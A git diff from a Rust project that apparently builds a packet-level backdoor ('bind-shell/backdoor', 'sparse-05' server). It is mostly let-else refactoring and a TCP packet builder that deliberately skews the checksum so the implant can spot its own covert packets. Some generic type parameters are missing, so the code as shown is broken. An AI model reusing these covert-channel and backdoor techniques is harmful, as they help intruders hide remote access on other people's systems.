diff --git a/Cargo.lock b/Cargo.lock index 13b6f77..b802102 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1298,6 +1298,7 @@ version = "0.1.0" dependencies = [ "anyhow", "nl-sys", + "packets", "pcap-sys", "rand 0.8.5", "tokio", diff --git a/examples/bind-shell/backdoor/Cargo.toml b/examples/bind-shell/backdoor/Cargo.toml index 3b71816..91453c9 100644 --- a/examples/bind-shell/backdoor/Cargo.toml +++ b/examples/bind-shell/backdoor/Cargo.toml @@ -22,4 +22,4 @@ cc = "1.0" [features] docker-breakout = [] no-exit = [] -setuid = ["libc"] \ No newline at end of file +setuid = ["libc"] diff --git a/examples/bind-shell/backdoor/src/main.rs b/examples/bind-shell/backdoor/src/main.rs index ea0804b..c857e38 100644 --- a/examples/bind-shell/backdoor/src/main.rs +++ b/examples/bind-shell/backdoor/src/main.rs @@ -139,7 +139,9 @@ async fn handle_command( use pcap_sys::packets::*; let eth_pkt = eth.pkt(); let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; let source_port = udp_pkt.srcport(); diff --git a/packets/src/lib.rs b/packets/src/lib.rs index 5bfefa1..b0cf333 100644 --- a/packets/src/lib.rs +++ b/packets/src/lib.rs @@ -452,13 +452,14 @@ impl TCPPacket { } } +#[derive(Default)] pub struct TCPPacketBuilder { - srcport: u16, - dstport: u16, - seqnumber: u32, + srcport: Option, + dstport: Option, + seqnumber: Option, acknumber: u32, flags: u8, - window: u16, + window: Option, urgent_ptr: u16, options: Vec, } @@ -478,17 +479,17 @@ macro_rules! declare_flag { impl TCPPacketBuilder { pub fn srcport(mut self, port: u16) -> Self { - self.srcport = port; + self.srcport = Some(port); self } pub fn dstport(mut self, port: u16) -> Self { - self.dstport = port; + self.dstport = Some(port); self } pub fn seqnumber(mut self, num: u32) -> Self { - self.seqnumber = num; + self.seqnumber = Some(num); self } @@ -507,7 +508,7 @@ impl TCPPacketBuilder { declare_flag!(fin, 0x01); pub fn window(mut self, window: u16) -> Self { - self.window = window; + self.window = Some(window); self } @@ -531,6 +532,93 @@ impl TCPPacketBuilder { let protocol = &[0x00u8, 0x06u8]; - let tcp_length = data.len() + self.options.len() + 32; + let tcp_length = (data.len() + self.options.len() + 20) as u16; + + let srcport = self.srcport.unwrap(); + let dstport = self.dstport.unwrap(); + let seqnumber = self.seqnumber.unwrap(); + let window = self.window.unwrap(); + + let len: u8 = (self.options.len() / 4 + 5).try_into().unwrap(); + let len = len << 4; + + let mut bytes = [ + &source.octets()[..], + &dest.octets(), + protocol, + &tcp_length.to_be_bytes(), + &srcport.to_be_bytes()[..], + &dstport.to_be_bytes(), + &seqnumber.to_be_bytes(), + &self.acknumber.to_be_bytes(), + &[len], + &[self.flags], + &window.to_be_bytes(), + &[0, 0], + &self.urgent_ptr.to_be_bytes(), + &self.options, + &data, + ] + .concat(); + + let checksum = bytes + .chunks(2) + .map(|pair| { + if pair.len() == 1 { + (pair[0] as u32) << 8 + } else { + (pair[0] as u32) << 8 | (pair[1] as u32) + } + }) + .fold(0u32, |acc, e| acc + e) + + 30; + // + 30 to intentionally deviate from + // the RFC, to make it so that I can identify the packets as sparse + // packets + + let checksum = (checksum >> 16) + (checksum & 0xffff); + let checksum = ((checksum >> 16) as u16) + (checksum as u16); + let checksum = dbg!(!checksum).to_be_bytes(); + + //bytes[16] = checksum[0]; + //bytes[17] = checksum[1]; + bytes[28] = checksum[0]; + bytes[29] = checksum[1]; + + TCPPacket { + data: bytes[12..].to_vec(), + } + } +} + +#[cfg(test)] +mod test { + use std::net::Ipv4Addr; + + #[test] + fn test_tcp_checksum() { + let srcip = Ipv4Addr::new(127, 0, 0, 1); + let dstip = srcip.clone(); + + let packet = super::TCPPacketBuilder::default() + .srcport(36916) + .dstport(54248) + .seqnumber(0xFD65_CA26) + .syn(true) + .window(65495) + .options(vec![ + 0x02, 0x04, 0xff, 0xd7, 0x04, 0x02, 0x08, 0x0a, 0xce, 0x4e, 0xad, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x03, 0x03, 0x07, + ]) + .build(srcip, dstip, vec![]); + + assert_eq!( + &packet.data, + &vec![ + 0x90, 0x34, 0xd3, 0xe8, 0xfd, 0x65, 0xca, 0x26, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x02, + 0xff, 0xd7, 0xfe, 0x30, 0x00, 0x00, 0x02, 0x04, 0xff, 0xd7, 0x04, 0x02, 0x08, 0x0a, + 0xce, 0x4e, 0xad, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01, 0x03, 0x03, 0x07 + ] + ); } } diff --git a/sparse-05/sparse-05-server/src/connection.rs b/sparse-05/sparse-05-server/src/connection.rs index c453776..f78c260 100644 --- a/sparse-05/sparse-05-server/src/connection.rs +++ b/sparse-05/sparse-05-server/src/connection.rs @@ -105,7 +105,9 @@ pub fn spawn_connection_handler( let packet = connection_packet.pkt(); let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; let data = udp_pkt.get_data(); @@ -198,7 +200,9 @@ fn authenticate( use packets::*; let p = p.pkt(); let Layer3Pkt::IPv4Pkt(ip_pkt) = p.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; let Ok(data) = conninfo.try_decrypt_and_verify(udp_pkt.get_data()) else { counter += 1; @@ -246,7 +250,9 @@ where let pkt = msg.pkt(); let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; if ip_pkt.source_ip() != conninfo.srcip || udp_pkt.srcport() != conninfo.srcport { continue; diff --git a/sparse-05/sparse-05-server/src/interface.rs b/sparse-05/sparse-05-server/src/interface.rs index 54b3c3d..eda0f61 100644 --- a/sparse-05/sparse-05-server/src/interface.rs +++ b/sparse-05/sparse-05-server/src/interface.rs @@ -111,7 +111,9 @@ impl InterfaceSender { Self::Udp(interf) => { use packets::*; let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; let addr = SocketAddrV4::new(ip_pkt.dest_ip(), udp_pkt.dstport()); diff --git a/sparse-05/sparse-05-server/src/main.rs b/sparse-05/sparse-05-server/src/main.rs index 4e49b01..d5af914 100644 --- a/sparse-05/sparse-05-server/src/main.rs +++ b/sparse-05/sparse-05-server/src/main.rs @@ -49,7 +49,9 @@ fn main() -> anyhow::Result<()> { let (kill_connection, kill_connection_recv) = channel::<(Ipv4Addr, u16)>(); thread::spawn(move || loop { - let Ok(packet) = recv_eth_packet.recv() else { continue }; + let Ok(packet) = recv_eth_packet.recv() else { + continue; + }; if let Err(_) = interface_sender.sendpacket(packet.pkt()) {} }); @@ -57,7 +59,9 @@ fn main() -> anyhow::Result<()> { s.spawn({ let connections = &connections; move || loop { - let Ok(connection) = kill_connection_recv.recv() else { continue }; + let Ok(connection) = kill_connection_recv.recv() else { + continue; + }; if let Ok(mut e) = connections.lock() { e.remove(&connection); } @@ -71,7 +75,9 @@ fn main() -> anyhow::Result<()> { let pkt = pkt.pkt(); let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; let connection_handle = &(ip_pkt.dest_ip(), udp_pkt.srcport()); diff --git a/tcp-test/client/Cargo.toml b/tcp-test/client/Cargo.toml index 0ca6754..8952797 100644 --- a/tcp-test/client/Cargo.toml +++ b/tcp-test/client/Cargo.toml @@ -7,6 +7,7 @@ edition = "2021" [dependencies] pcap-sys = { path = "../../pcap-sys" } +packets = { path = "../../packets" } nl-sys = { path = "../../nl-sys" } rand = "0.8.5" tokio = { version = "1.32.0", features = ["full"] } diff --git a/tcp-test/client/src/main.rs b/tcp-test/client/src/main.rs index 62106ee..877310d 100644 --- a/tcp-test/client/src/main.rs +++ b/tcp-test/client/src/main.rs @@ -3,6 +3,11 @@ use std::net::Ipv4Addr; use anyhow::anyhow; use nl_sys::{netlink, route}; +use packets::EthernetPacket; + +struct TcpConnection { + packets_to_ack: Vec, +} #[tokio::main] async fn main() -> anyhow::Result<()> { @@ -27,7 +32,7 @@ async fn main() -> anyhow::Result<()> { (ifname, srcip, srcmac, dstmac) }; - let mut interface = pcap_sys::new_aggregate_interface(false)?; + let mut interface = pcap_sys::Interface::::new(&ifname)?; interface.set_buffer_size(8192)?; interface.set_non_blocking(true)?; @@ -36,9 +41,14 @@ async fn main() -> anyhow::Result<()> { let mut interface = interface.activate()?; - interface.set_filter("inbound and tcp port 54249", true, None)?; + let port: u16 = loop { + let port = rand::random(); + if port > 30_000 { + break port; + } + }; - interface.prune(|_, interface| interface.datalink() != pcap_sys::consts::DLT_EN10MB); + interface.set_filter(&format!("inbound and tcp port {}", port), true, None)?; Ok(()) }